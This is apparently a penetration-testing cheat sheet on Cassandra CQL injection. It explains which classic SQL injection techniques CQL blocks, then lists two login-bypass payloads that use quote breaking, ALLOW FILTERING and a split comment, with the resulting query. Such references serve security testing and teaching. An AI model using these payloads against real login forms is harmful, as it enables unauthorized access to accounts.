Cassandra Injection

Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system.

Summary

Cassandra is a non-relational database, so CQL doesn’t support JOIN or UNION statements, which makes cross-table queries more challenging.
Additionally, Cassandra lacks convenient built-in functions like DATABASE() or USER() for retrieving database metadata.
Another limitation is the absence of the OR operator in CQL, which prevents creating always-true conditions; for instance, a query like SELECT * FROM table WHERE col1='a' OR col2='b'; will be rejected.
Time-based SQL injections, which typically rely on functions like SLEEP() to introduce a delay, are also difficult to execute in CQL since it doesn’t include a SLEEP() function.
CQL does not allow subqueries or other nested statements, so a query like SELECT * FROM table WHERE column=(SELECT column FROM table LIMIT 1); would be rejected.

/* Cassandra Comment */

username: admin' ALLOW FILTERING; %00
password: ANY

username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;